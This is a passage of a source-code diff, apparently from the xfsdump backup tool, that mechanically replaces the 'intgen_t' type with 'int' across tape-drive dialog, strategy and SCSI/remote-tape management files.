@@ promptinput( char *buf, { va_list args; time32_t now = time( NULL ); - intgen_t nread = -1; + int nread = -1; sigset_t orig_set; char *bufp = buf; diff --git a/common/dlog.h b/common/dlog.h index bc17c41..31ed9c2 100644 --- a/common/dlog.h +++ b/common/dlog.h @@ -39,7 +39,7 @@ extern void dlog_desist( void ); /* returns the dialog tty file descriptor. returns -1 if none */ -extern intgen_t dlog_fd( void ); +extern int dlog_fd( void ); /* returns BOOL_TRUE if a dialog consumed the given signal */ diff --git a/common/drive.c b/common/drive.c index afef147..9fb0bb7 100644 --- a/common/drive.c +++ b/common/drive.c @@ -87,7 +87,7 @@ static drive_strategy_t *strategypp[] = { bool_t drive_init1( int argc, char *argv[ ] ) { - intgen_t c; + int c; ix_t driveix; /* sanity check asserts @@ -202,7 +202,7 @@ drive_init1( int argc, char *argv[ ] ) */ for ( driveix = 0 ; driveix < drivecnt ; driveix++ ) { drive_t *drivep = drivepp[ driveix ]; - intgen_t bestscore = 0 - INTGENMAX; + int bestscore = 0 - INTGENMAX; ix_t six; ix_t scnt = sizeof( strategypp ) / sizeof( strategypp[ 0 ] ); drive_strategy_t *bestsp = 0; @@ -210,7 +210,7 @@ drive_init1( int argc, char *argv[ ] ) for ( six = 0 ; six < scnt ; six++ ) { drive_strategy_t *sp = strategypp[ six ]; - intgen_t score; + int score; score = ( * sp->ds_match )( argc, argv, drivep ); diff --git a/common/drive.h b/common/drive.h index f693976..b0efa4c 100644 --- a/common/drive.h +++ b/common/drive.h @@ -132,19 +132,19 @@ typedef struct drive_hdr drive_hdr_t; struct drive; /* forward declaration */ struct drive_strategy { - intgen_t ds_id; + int ds_id; /* strategy ID */ char *ds_description; /* a short char string describing strategy */ - intgen_t ( * ds_match )( intgen_t argc, + int ( * ds_match )( int argc, char *argv[ ], struct drive *drivep ); /* returns degree of match. drivep has been pre-allocated * and initialized with generic info. */ - bool_t ( * ds_instantiate )( intgen_t argc, + bool_t ( * ds_instantiate )( int argc, char *argv[ ], struct drive *drivep ); /* creates a drive manager instance, by filling in the @@ -245,9 +245,9 @@ struct drive { ix_t d_index; /* e.g., 0, 1, 2, ... */ bool_t d_isnamedpipepr; /* is a named pipe */ bool_t d_isunnamedpipepr;/* is an unnamed pipe */ - intgen_t d_capabilities;/* see DRIVE_CAP_xxx below */ + int d_capabilities;/* see DRIVE_CAP_xxx below */ off64_t d_cap_est; /* capacity estimate in bytes; -1 if unknown */ - intgen_t d_rate_est; /* bytes per second; -1 if unknown */ + int d_rate_est; /* bytes per second; -1 if unknown */ drive_markrec_t *d_markrecheadp; /* linked list of mark records */ drive_markrec_t *d_markrectailp; /* yet to be committed */ off64_t d_recmarksep; /* transfered from strategy on instantiation */ @@ -267,7 +267,7 @@ struct drive_ops { * by do_init. returns FALSE if session should * be aborted. */ - intgen_t ( * do_begin_read )( drive_t *drivep ); + int ( * do_begin_read )( drive_t *drivep ); /* prepares the drive manager for reading. * if the media is positioned at BOM or just * after a file mark, current media file is @@ -309,7 +309,7 @@ struct drive_ops { char * ( * do_read )( drive_t *drivep, size_t wanted_bufsz, size_t *actual_bufszp, - intgen_t *statp ); + int *statp ); /* asks the drive manager for a buffered filled * with the next read stream data. * the actual buffer size supplied may @@ -356,7 +356,7 @@ struct drive_ops { * call to do_read(). will be used in a later * session to seek to that position. */ - intgen_t ( * do_seek_mark )( drive_t *drivep, + int ( * do_seek_mark )( drive_t *drivep, drive_mark_t *drivemarkp ); /* searches for the specified mark within the * current file. returns zero if the mark @@ -367,7 +367,7 @@ struct drive_ops { * CORRUPTION - encountered corrupt data; * DEVICE - device error; */ - intgen_t ( * do_next_mark )( drive_t *drivep ); + int ( * do_next_mark )( drive_t *drivep ); /* if d_capabilities has DRIVE_CAP_NEXTMARK set, * drive has the capability to * seek forward to the next mark. returns @@ -385,7 +385,7 @@ struct drive_ops { * will position the media at the next media * file. */ - intgen_t ( * do_begin_write )( drive_t *drivep ); + int ( * do_begin_write )( drive_t *drivep ); /* begins a write media file for writing. * asserts the media is positioned at BOM or * just after a file mark. write header will @@ -443,7 +443,7 @@ struct drive_ops { * be larger or smaller than the wanted bufsz, * but will be at least 1 byte in length. */ - intgen_t ( * do_write )( drive_t *drivep, + int ( * do_write )( drive_t *drivep, char *bufp, size_t bufsz ); /* asks the drive manager to write bufsz @@ -481,7 +481,7 @@ struct drive_ops { * alignment will be maintained after the * initial alignment done using this info. */ - intgen_t ( * do_end_write )( drive_t *drivep, off64_t *ncommittedp ); + int ( * do_end_write )( drive_t *drivep, off64_t *ncommittedp ); /* terminates a media file write sequence. * flushes any buffered data not yet committed * to media, and calls callbacks for all marks @@ -502,9 +502,9 @@ struct drive_ops { * an error, do_end_write will not do any * I/O, and will return 0. */ - intgen_t ( * do_fsf )( drive_t *drivep, - intgen_t count, - intgen_t *statp ); + int ( * do_fsf )( drive_t *drivep, + int count, + int *statp ); /* if d_capabilities has DRIVE_CAP_FSF set, * drive has the capability to * forward space count files. returns the @@ -528,9 +528,9 @@ struct drive_ops { * behaves as if position is at most recent * file mark or BOT. */ - intgen_t ( * do_bsf )( drive_t *drivep, - intgen_t count, - intgen_t *statp ); + int ( * do_bsf )( drive_t *drivep, + int count, + int *statp ); /* if d_capabilities has DRIVE_CAP_BSF set, * drive has the capability to backward space * count files. returns the number of actual @@ -554,26 +554,26 @@ struct drive_ops { * BOM - hit beginning of recorded data; * DEVICE - device error; */ - intgen_t ( * do_rewind )( drive_t *drivep ); + int ( * do_rewind )( drive_t *drivep ); /* if d_capabilities has DRIVE_CAP_REWIND set, * drive has the capability to * position at beginning of recorded data * DEVICE - device error; */ - intgen_t ( * do_erase )( drive_t *drivep ); + int ( * do_erase )( drive_t *drivep ); /* if d_capabilities has DRIVE_CAP_ERASE set, * drive has the capability to * erase: all content of media object is * eradicated. * DEVICE - device error; */ - intgen_t ( * do_eject_media )( drive_t *drivep ); + int ( * do_eject_media )( drive_t *drivep ); /* if d_capabilities has DRIVE_CAP_EJECT set, * drive has capability * to eject media, and will do so when called. * DEVICE - device error; */ - intgen_t ( * do_get_device_class )( drive_t *drivep ); + int ( * do_get_device_class )( drive_t *drivep ); /* returns the media class of the device * (see below). */ diff --git a/common/drive_minrmt.c b/common/drive_minrmt.c index 51685dc..21eb09e 100644 --- a/common/drive_minrmt.c +++ b/common/drive_minrmt.c @@ -263,71 +263,71 @@ extern int rmtwrite( int, const void *, uint); /* strategy functions */ -static intgen_t ds_match( int, char *[], drive_t * ); -static intgen_t ds_instantiate( int, char *[], drive_t * ); +static int ds_match( int, char *[], drive_t * ); +static int ds_instantiate( int, char *[], drive_t * ); /* manager operations */ static bool_t do_init( drive_t * ); static bool_t do_sync( drive_t * ); -static intgen_t do_begin_read( drive_t * ); -static char *do_read( drive_t *, size_t , size_t *, intgen_t * ); +static int do_begin_read( drive_t * ); +static char *do_read( drive_t *, size_t , size_t *, int * ); static void do_return_read_buf( drive_t *, char *, size_t ); static void do_get_mark( drive_t *, drive_mark_t * ); -static intgen_t do_seek_mark( drive_t *, drive_mark_t * ); -static intgen_t do_next_mark( drive_t * ); +static int do_seek_mark( drive_t *, drive_mark_t * ); +static int do_next_mark( drive_t * ); static void do_get_mark( drive_t *, drive_mark_t * ); static void do_end_read( drive_t * ); -static intgen_t do_begin_write( drive_t * ); +static int do_begin_write( drive_t * ); static void do_set_mark( drive_t *, drive_mcbfp_t, void *, drive_markrec_t * ); static char * do_get_write_buf( drive_t *, size_t , size_t * ); -static intgen_t do_write( drive_t *, char *, size_t ); +static int do_write( drive_t *, char *, size_t ); static size_t do_get_align_cnt( drive_t * ); -static intgen_t do_end_write( drive_t *, off64_t * ); -static intgen_t do_fsf( drive_t *, intgen_t , intgen_t *); -static intgen_t do_bsf( drive_t *, intgen_t , intgen_t *); -static intgen_t do_rewind( drive_t * ); -static intgen_t do_erase( drive_t * ); -static intgen_t do_eject_media( drive_t * ); -static intgen_t do_get_device_class( drive_t * ); +static int do_end_write( drive_t *, off64_t * ); +static int do_fsf( drive_t *, int , int *); +static int do_bsf( drive_t *, int , int *); +static int do_rewind( drive_t * ); +static int do_erase( drive_t * ); +static int do_eject_media( drive_t * ); +static int do_get_device_class( drive_t * ); static void do_display_metrics( drive_t *drivep ); static void do_quit( drive_t * ); /* misc. local utility funcs */ -static intgen_t mt_op(intgen_t , intgen_t , intgen_t ); -static intgen_t determine_write_error( int, int ); -static intgen_t read_label( drive_t *); +static int mt_op(int , int , int ); +static int determine_write_error( int, int ); +static int read_label( drive_t *); static bool_t tape_rec_checksum_check( drive_context_t *, char * ); static void set_recommended_sizes( drive_t * ); static void display_access_failed_message( drive_t *); static bool_t get_tpcaps( drive_t * ); -static intgen_t prepare_drive( drive_t *drivep ); +static int prepare_drive( drive_t *drivep ); static bool_t Open( drive_t *drivep ); static void Close( drive_t *drivep ); -static intgen_t Read( drive_t *drivep, +static int Read( drive_t *drivep, char *bufp, size_t cnt, - intgen_t *errnop ); -static intgen_t Write( drive_t *drivep, + int *errnop ); +static int Write( drive_t *drivep, char *bufp, size_t cnt, - intgen_t *saved_errnop ); -static intgen_t record_hdr_validate( drive_t *drivep, + int *saved_errnop ); +static int record_hdr_validate( drive_t *drivep, char *bufp, bool_t chkoffpr ); static int ring_read( void *clientctxp, char *bufp ); static int ring_write( void *clientctxp, char *bufp ); static double percent64( off64_t num, off64_t denom ); -static intgen_t getrec( drive_t *drivep ); -static intgen_t write_record( drive_t *drivep, char *bufp, bool_t chksumpr, +static int getrec( drive_t *drivep ); +static int write_record( drive_t *drivep, char *bufp, bool_t chksumpr, bool_t xlatepr ); static ring_msg_t * Ring_get( ring_t *ringp ); static void Ring_reset( ring_t *ringp, ring_msg_t *msgp ); static void Ring_put( ring_t *ringp, ring_msg_t *msgp ); -static intgen_t validate_media_file_hdr( drive_t *drivep ); +static int validate_media_file_hdr( drive_t *drivep ); static void calc_max_lost( drive_t *drivep ); -static void display_ring_metrics( drive_t *drivep, intgen_t mlog_flags ); +static void display_ring_metrics( drive_t *drivep, int mlog_flags ); #ifdef CLRMTAUD static u_int32_t rewind_and_verify( drive_t *drivep ); static u_int32_t erase_and_verify( drive_t *drivep ); @@ -409,11 +409,11 @@ static u_int32_t cmdlineblksize = 0; /* strategy match - determines if this is the right strategy */ /* ARGSUSED */ -static intgen_t +static int ds_match( int argc, char *argv[], drive_t *drivep ) { - intgen_t fd; - intgen_t c; + int fd; + int c; bool_t minrmt = BOOL_FALSE; /* heuristics to determine if this is a drive. @@ -473,7 +473,7 @@ static bool_t ds_instantiate( int argc, char *argv[], drive_t *drivep ) { drive_context_t *contextp; - intgen_t c; + int c; /* opportunity for sanity checking */ @@ -591,7 +591,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) contextp->dc_bufp = ( char * )memalign( PGSZ, STAPE_MAX_RECSZ ); assert( contextp->dc_bufp ); } else { - intgen_t rval; + int rval; mlog( (MLOG_NITTY + 1) | MLOG_DRIVE, "ring op: create: ringlen == %u\n", contextp->dc_ringlen ); @@ -712,11 +712,11 @@ do_sync( drive_t *drivep ) * DRIVE_ERROR_* on failure * */ -static intgen_t +static int do_begin_read( drive_t *drivep ) { drive_context_t *contextp; - intgen_t rval; + int rval; mlog( MLOG_DEBUG | MLOG_DRIVE, "rmt drive op: begin read\n" ); @@ -812,12 +812,12 @@ static char * do_read( drive_t *drivep, size_t wantedcnt, size_t *actualcntp, - intgen_t *rvalp ) + int *rvalp ) { drive_context_t *contextp; size_t availcnt; size_t actualcnt; - intgen_t rval; + int rval; mlog( MLOG_DEBUG | MLOG_DRIVE, "rmt drive op: read: wanted %u (0x%x)\n", @@ -970,7 +970,7 @@ typedef enum { SEEKMODE_BUF, SEEKMODE_RAW } seekmode_t; * DRIVE_ERROR_* on failure * */ -static intgen_t +static int do_seek_mark( drive_t *drivep, drive_mark_t *markp ) { drive_context_t *contextp; @@ -1036,7 +1036,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) size_t wantedcnt; char *dummybufp; size_t actualcnt; - intgen_t rval; + int rval; /* if this is the last record, the wanted offset * must be just after it. @@ -1147,15 +1147,15 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) recskipcnt64 = wantedreccnt - contextp->dc_reccnt; recskipcnt64remaining = recskipcnt64; while ( recskipcnt64remaining ) { - intgen_t recskipcnt; - intgen_t saved_errno; - intgen_t rval; + int recskipcnt; + int saved_errno; + int rval; assert( recskipcnt64remaining > 0 ); if ( recskipcnt64remaining > INTGENMAX ) { recskipcnt = INTGENMAX; } else { - recskipcnt = ( intgen_t ) + recskipcnt = ( int ) recskipcnt64remaining; } assert( recskipcnt > 0 ); @@ -1194,7 +1194,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) size_t wantedcnt; char *dummybufp; size_t actualcnt; - intgen_t rval; + int rval; assert( ! contextp->dc_recp ); @@ -1253,7 +1253,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) /* eat that much tape */ if ( wantedcnt > 0 ) { - intgen_t rval; + int rval; rval = 0; dummybufp = do_read( drivep, wantedcnt, &actualcnt, &rval ); if ( rval ) { @@ -1300,7 +1300,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) * 0 on success * DRIVE_ERROR_* on failure */ -static intgen_t +static int do_next_mark( drive_t *drivep ) { drive_context_t *contextp = (drive_context_t *)drivep->d_contextp; @@ -1308,11 +1308,11 @@ do_next_mark( drive_t *drivep ) char *p; ix_t trycnt; const ix_t maxtrycnt = 5; - intgen_t nread; + int nread; off64_t markoff; - intgen_t saved_errno; + int saved_errno; size_t tailsz; - intgen_t rval; + int rval; /* assert protocol being followed. */ @@ -1418,7 +1418,7 @@ readrecord: goto validateread; validateread: - if ( nread == ( intgen_t )tape_recsz ) { + if ( nread == ( int )tape_recsz ) { goto validatehdr; } @@ -1585,7 +1585,7 @@ do_end_read( drive_t *drivep ) * 0 on success * DRIVE_ERROR_... on failure */ -static intgen_t +static int do_begin_write( drive_t *drivep ) { drive_context_t *contextp; @@ -1593,7 +1593,7 @@ do_begin_write( drive_t *drivep ) global_hdr_t *gwhdrp; rec_hdr_t *tpwhdrp; rec_hdr_t *rechdrp; - intgen_t rval; + int rval; media_hdr_t *mwhdrp; content_hdr_t *ch; content_inode_hdr_t *cih; @@ -1842,7 +1842,7 @@ do_get_write_buf( drive_t *drivep, size_t wantedcnt, size_t *actualcntp ) * non 0 on error */ /* ARGSUSED */ -static intgen_t +static int do_write( drive_t *drivep, char *bufp, size_t retcnt ) { drive_context_t *contextp; @@ -1850,7 +1850,7 @@ do_write( drive_t *drivep, char *bufp, size_t retcnt ) global_hdr_t *gwhdrp; size_t heldcnt; off64_t last_rec_wrtn_wo_err; /* zero-based index */ - intgen_t rval; + int rval; /* get drive context and pointer to global write hdr */ @@ -2015,7 +2015,7 @@ do_get_align_cnt( drive_t * drivep ) * 0 on success * DRIVE_ERROR_* on failure */ -static intgen_t +static int do_end_write( drive_t *drivep, off64_t *ncommittedp ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; @@ -2024,7 +2024,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) off64_t recs_guaranteed; off64_t bytes_committed; - intgen_t rval; + int rval; mlog( MLOG_DEBUG | MLOG_DRIVE, "rmt drive op: end write\n" ); @@ -2160,7 +2160,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) * exposing any write errors. */ if ( ! rval ) { - intgen_t weofrval; + int weofrval; weofrval = mt_op( contextp->dc_fd, MTWEOF, 1 ); if ( weofrval ) { @@ -2211,8 +2211,8 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) * number of media files skipped * *statp set to zero or DRIVE_ERROR_... */ -static intgen_t -do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) +static int +do_fsf( drive_t *drivep, int count, int *statp ) { int i, done, op_failed, opcount; drive_context_t *contextp; @@ -2287,14 +2287,14 @@ do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) * number of media files skipped * *statp set to zero or DRIVE_ERROR_... */ -static intgen_t -do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) +static int +do_bsf( drive_t *drivep, int count, int *statp ) { #ifdef DEBUG drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; #endif - intgen_t skipped; - intgen_t rval; + int skipped; + int rval; mlog( MLOG_DEBUG | MLOG_DRIVE, "rmt drive op: bsf: count %d\n", @@ -2375,7 +2375,7 @@ do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) * 0 on sucess * DRIVE_ERROR_* on failure */ -static intgen_t +static int do_rewind( drive_t *drivep ) { #ifdef DEBUG @@ -2401,7 +2401,7 @@ do_rewind( drive_t *drivep ) * 0 on sucess * DRIVE_ERROR_* on failure */ -static intgen_t +static int do_erase( drive_t *drivep ) { #ifdef DEBUG @@ -2439,7 +2439,7 @@ do_erase( drive_t *drivep ) * 0 on sucess * DRIVE_ERROR_DEVICE on failure */ -static intgen_t +static int do_eject_media( drive_t *drivep ) { drive_context_t *contextp = (drive_context_t *)drivep->d_contextp; @@ -2472,7 +2472,7 @@ do_eject_media( drive_t *drivep ) * always returns DEVICE_TAPE_REMOVABLE */ /* ARGSUSED */ -static intgen_t +static int do_get_device_class( drive_t *drivep) { mlog( MLOG_DEBUG | MLOG_DRIVE, @@ -2547,13 +2547,13 @@ percent64( off64_t num, off64_t denom ) * 0 on success * DRIVE_ERROR_* on failure */ -static intgen_t +static int read_label( drive_t *drivep ) { drive_context_t *contextp; - intgen_t nread; - intgen_t saved_errno; - intgen_t rval; + int nread; + int saved_errno; + int rval; /* initialize context ptr */ @@ -2568,8 +2568,8 @@ read_label( drive_t *drivep ) /* if a read error, get status */ - if ( nread != ( intgen_t )tape_recsz ) { - assert( nread < ( intgen_t )tape_recsz ); + if ( nread != ( int )tape_recsz ) { + assert( nread < ( int )tape_recsz ); } /* check for an unexpected errno @@ -2613,7 +2613,7 @@ read_label( drive_t *drivep ) return rval; } -static intgen_t +static int validate_media_file_hdr( drive_t *drivep ) { global_hdr_t *grhdrp = drivep->d_greadhdrp; @@ -2792,12 +2792,12 @@ set_recommended_sizes( drive_t *drivep ) * 0 on sucess * -1 on failure */ -static intgen_t -mt_op(intgen_t fd, intgen_t sub_op, intgen_t param ) +static int +mt_op(int fd, int sub_op, int param ) { struct mtop mop; char *printstr; - intgen_t rval; + int rval; mop.mt_op = (short )sub_op; mop.mt_count = param; @@ -2874,10 +2874,10 @@ mt_op(intgen_t fd, intgen_t sub_op, intgen_t param ) * RETURNS: * DRIVE_ERROR_* */ -static intgen_t +static int determine_write_error( int nwritten, int saved_errno ) { - intgen_t ret = 0; + int ret = 0; if ( saved_errno == EACCES ) { mlog(MLOG_NORMAL, @@ -3059,7 +3059,7 @@ display_access_failed_message( drive_t *drivep ) * determines other drive attributes. determines if any previous * xfsdumps on media. */ -static intgen_t +static int prepare_drive( drive_t *drivep ) { drive_context_t *contextp; @@ -3067,7 +3067,7 @@ prepare_drive( drive_t *drivep ) ix_t try; ix_t maxtries; bool_t changedblkszpr; - intgen_t rval; + int rval; /* get pointer to drive context */ @@ -3159,8 +3159,8 @@ prepare_drive( drive_t *drivep ) changedblkszpr = BOOL_FALSE; for ( try = 1 ; ; try++ ) { - intgen_t nread; - intgen_t saved_errno; + int nread; + int saved_errno; if ( cldmgr_stop_requested( )) { return DRIVE_ERROR_STOP; @@ -3264,7 +3264,7 @@ prepare_drive( drive_t *drivep ) #endif } - if ( nread == ( intgen_t )tape_recsz ) { + if ( nread == ( int )tape_recsz ) { mlog( MLOG_DEBUG | MLOG_DRIVE, "nread == selected blocksize " "indicates correct blocksize found\n" ); @@ -3272,7 +3272,7 @@ prepare_drive( drive_t *drivep ) } /* short read */ - if (( saved_errno == 0 ) && ( nread < (intgen_t)tape_recsz)) { + if (( saved_errno == 0 ) && ( nread < (int)tape_recsz)) { mlog( MLOG_DEBUG | MLOG_DRIVE, "nread < selected blocksize " "indicates incorrect blocksize found " @@ -3404,7 +3404,7 @@ static bool_t Open( drive_t *drivep ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - intgen_t oflags; + int oflags; #ifdef DUMP oflags = O_RDWR; @@ -3443,11 +3443,11 @@ Close( drive_t *drivep ) contextp->dc_fd = -1; } -static intgen_t -Read( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) +static int +Read( drive_t *drivep, char *bufp, size_t cnt, int *errnop ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - intgen_t nread; + int nread; mlog( MLOG_DEBUG | MLOG_DRIVE, "tape op: reading %u bytes\n", @@ -3465,7 +3465,7 @@ Read( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) cnt, errno, strerror( errno )); - } else if ( nread != ( intgen_t )cnt ) { + } else if ( nread != ( int )cnt ) { mlog( MLOG_NITTY | MLOG_DRIVE, "tape op read of %u bytes short: nread == %d\n", cnt, @@ -3479,11 +3479,11 @@ Read( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) return nread; } -static intgen_t -Write( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) +static int +Write( drive_t *drivep, char *bufp, size_t cnt, int *errnop ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - intgen_t nwritten; + int nwritten; mlog( MLOG_DEBUG | MLOG_DRIVE, "tape op: writing %u bytes\n", @@ -3501,7 +3501,7 @@ Write( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) cnt, errno, strerror( errno )); - } else if ( nwritten != ( intgen_t )cnt ) { + } else if ( nwritten != ( int )cnt ) { mlog( MLOG_NITTY | MLOG_DRIVE, "tape op write of %u bytes short: nwritten == %d\n", cnt, @@ -3518,7 +3518,7 @@ Write( drive_t *drivep, char *bufp, size_t cnt, intgen_t *errnop ) /* validate a record header, log any anomolies, and return appropriate * indication. */ -static intgen_t +static int record_hdr_validate( drive_t *drivep, char *bufp, bool_t chkoffpr ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; @@ -3617,17 +3617,17 @@ record_hdr_validate( drive_t *drivep, char *bufp, bool_t chkoffpr ) /* do a read, determine DRIVE_ERROR_... if failure, and return failure code. * return 0 on success. */ -static intgen_t +static int read_record( drive_t *drivep, char *bufp ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - intgen_t nread; - intgen_t saved_errno; - intgen_t rval; + int nread; + int saved_errno; + int rval; nread = Read( drivep, bufp, tape_recsz, &saved_errno ); - if ( nread == ( intgen_t )tape_recsz ) { + if ( nread == ( int )tape_recsz ) { contextp->dc_iocnt++; rval = record_hdr_validate( drivep, bufp, BOOL_TRUE ); return rval; @@ -3670,7 +3670,7 @@ read_record( drive_t *drivep, char *bufp ) /* short read */ if ( nread >= 0 ) { - assert( nread <= ( intgen_t )tape_recsz ); + assert( nread <= ( int )tape_recsz ); mlog( MLOG_DEBUG | MLOG_DRIVE, "short read record %lld (nread == %d)\n", contextp->dc_iocnt, @@ -3698,7 +3698,7 @@ ring_read( void *clientctxp, char *bufp ) /* gets another record IF dc_recp is NULL */ -static intgen_t +static int getrec( drive_t *drivep ) { drive_context_t *contextp; @@ -3707,7 +3707,7 @@ getrec( drive_t *drivep ) while ( ! contextp->dc_recp ) { rec_hdr_t *rechdrp; if ( contextp->dc_singlethreadedpr ) { - intgen_t rval; + int rval; contextp->dc_recp = contextp->dc_bufp; rval = read_record( drivep, contextp->dc_recp ); if ( rval ) { @@ -3755,13 +3755,13 @@ getrec( drive_t *drivep ) * return 0 on success. */ /*ARGSUSED*/ -static intgen_t +static int write_record( drive_t *drivep, char *bufp, bool_t chksumpr, bool_t xlatepr ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; - intgen_t nwritten; - intgen_t saved_errno; - intgen_t rval; + int nwritten; + int saved_errno; + int rval; if ( xlatepr ) { rec_hdr_t rechdr; @@ -3775,7 +3775,7 @@ write_record( drive_t *drivep, char *bufp, bool_t chksumpr, bool_t xlatepr ) nwritten = Write( drivep, bufp, tape_recsz, &saved_errno ); - if ( nwritten == ( intgen_t )tape_recsz ) { + if ( nwritten == ( int )tape_recsz ) { contextp->dc_iocnt++; return 0; } @@ -3843,7 +3843,7 @@ calc_max_lost( drive_t *drivep ) } static void -display_ring_metrics( drive_t *drivep, intgen_t mlog_flags ) +display_ring_metrics( drive_t *drivep, int mlog_flags ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; ring_t *ringp = contextp->dc_ringp; @@ -3894,7 +3894,7 @@ rewind_and_verify( drive_t *drivep ) { drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; ix_t try; - intgen_t rval; + int rval; rval = mt_op( contextp->dc_fd, MTREW, 0 ); for ( try = 1 ; ; try++ ) { @@ -3920,7 +3920,7 @@ static short erase_and_verify( drive_t *drivep ) { char *tempbufp; - intgen_t saved_errno; + int saved_errno; drive_context_t *contextp = ( drive_context_t * )drivep->d_contextp; diff --git a/common/drive_scsitape.c b/common/drive_scsitape.c index eade6ac..605675f 100644 --- a/common/drive_scsitape.c +++ b/common/drive_scsitape.c @@ -305,79 +305,79 @@ extern int rmtwrite( int, const void *, uint); /* strategy functions */ -static intgen_t ds_match( int, char *[], drive_t * ); -static intgen_t ds_instantiate( int, char *[], drive_t * ); +static int ds_match( int, char *[], drive_t * ); +static int ds_instantiate( int, char *[], drive_t * ); /* manager operations */ static bool_t do_init( drive_t * ); static bool_t do_sync( drive_t * ); -static intgen_t do_begin_read( drive_t * ); -static char *do_read( drive_t *, size_t , size_t *, intgen_t * ); +static int do_begin_read( drive_t * ); +static char *do_read( drive_t *, size_t , size_t *, int * ); static void do_return_read_buf( drive_t *, char *, size_t ); static void do_get_mark( drive_t *, drive_mark_t * ); -static intgen_t do_seek_mark( drive_t *, drive_mark_t * ); -static intgen_t do_next_mark( drive_t * ); +static int do_seek_mark( drive_t *, drive_mark_t * ); +static int do_next_mark( drive_t * ); static void do_get_mark( drive_t *, drive_mark_t * ); static void do_end_read( drive_t * ); -static intgen_t do_begin_write( drive_t * ); +static int do_begin_write( drive_t * ); static void do_set_mark( drive_t *, drive_mcbfp_t, void *, drive_markrec_t * ); static char * do_get_write_buf( drive_t *, size_t , size_t * ); -static intgen_t do_write( drive_t *, char *, size_t ); +static int do_write( drive_t *, char *, size_t ); static size_t do_get_align_cnt( drive_t * ); -static intgen_t do_end_write( drive_t *, off64_t * ); -static intgen_t do_fsf( drive_t *, intgen_t , intgen_t *); -static intgen_t do_bsf( drive_t *, intgen_t , intgen_t *); -static intgen_t do_rewind( drive_t * ); -static intgen_t do_erase( drive_t * ); -static intgen_t do_eject_media( drive_t * ); -static intgen_t do_get_device_class( drive_t * ); +static int do_end_write( drive_t *, off64_t * ); +static int do_fsf( drive_t *, int , int *); +static int do_bsf( drive_t *, int , int *); +static int do_rewind( drive_t * ); +static int do_erase( drive_t * ); +static int do_eject_media( drive_t * ); +static int do_get_device_class( drive_t * ); static void do_display_metrics( drive_t *drivep ); static void do_quit( drive_t * ); /* misc. local utility funcs */ -static intgen_t mt_op(intgen_t , intgen_t , intgen_t ); -static intgen_t mt_blkinfo(intgen_t , struct mtblkinfo * ); +static int mt_op(int , int , int ); +static int mt_blkinfo(int , struct mtblkinfo * ); static bool_t mt_get_fileno( drive_t *, long *); static bool_t mt_get_status( drive_t *, mtstat_t *); -static intgen_t determine_write_error( drive_t *, int, int ); -static intgen_t read_label( drive_t *); +static int determine_write_error( drive_t *, int, int ); +static int read_label( drive_t *); static bool_t tape_rec_checksum_check( drive_context_t *, char * ); static void set_recommended_sizes( drive_t * ); static void display_access_failed_message( drive_t *); static void status_failed_message( drive_t *); static bool_t get_tpcaps( drive_t * ); static bool_t set_fixed_blksz( drive_t *, size_t ); -static intgen_t prepare_drive( drive_t *drivep ); +static int prepare_drive( drive_t *drivep ); static bool_t Open( drive_t *drivep ); static void Close( drive_t *drivep ); -static intgen_t Read( drive_t *drivep, +static int Read( drive_t *drivep, char *bufp, size_t cnt, - intgen_t *errnop ); -static intgen_t Write( drive_t *drivep, + int *errnop ); +static int Write( drive_t *drivep, char *bufp, size_t cnt, - intgen_t *saved_errnop ); -static intgen_t quick_backup( drive_t *drivep, + int *saved_errnop ); +static int quick_backup( drive_t *drivep, drive_context_t *contextp, ix_t skipcnt ); -static intgen_t record_hdr_validate( drive_t *drivep, +static int record_hdr_validate( drive_t *drivep, char *bufp, bool_t chkoffpr ); static int ring_read( void *clientctxp, char *bufp ); static int ring_write( void *clientctxp, char *bufp ); static double percent64( off64_t num, off64_t denom ); -static intgen_t getrec( drive_t *drivep ); -static intgen_t write_record( drive_t *drivep, char *bufp, bool_t chksumpr, +static int getrec( drive_t *drivep ); +static int write_record( drive_t *drivep, char *bufp, bool_t chksumpr, bool_t xlatepr ); static ring_msg_t * Ring_get( ring_t *ringp ); static void Ring_reset( ring_t *ringp, ring_msg_t *msgp ); static void Ring_put( ring_t *ringp, ring_msg_t *msgp ); -static intgen_t validate_media_file_hdr( drive_t *drivep ); +static int validate_media_file_hdr( drive_t *drivep ); static void calc_max_lost( drive_t *drivep ); -static void display_ring_metrics( drive_t *drivep, intgen_t mlog_flags ); +static void display_ring_metrics( drive_t *drivep, int mlog_flags ); static mtstat_t rewind_and_verify( drive_t *drivep ); static mtstat_t erase_and_verify( drive_t *drivep ); static mtstat_t bsf_and_verify( drive_t *drivep ); @@ -511,11 +511,11 @@ is_scsi_driver(char *pathname) /* strategy match - determines if this is the right strategy */ /* ARGSUSED */ -static intgen_t +static int ds_match( int argc, char *argv[], drive_t *drivep ) { struct mtget mt_stat; - intgen_t fd; + int fd; /* heuristics to determine if this is a drive. */ @@ -553,7 +553,7 @@ static bool_t 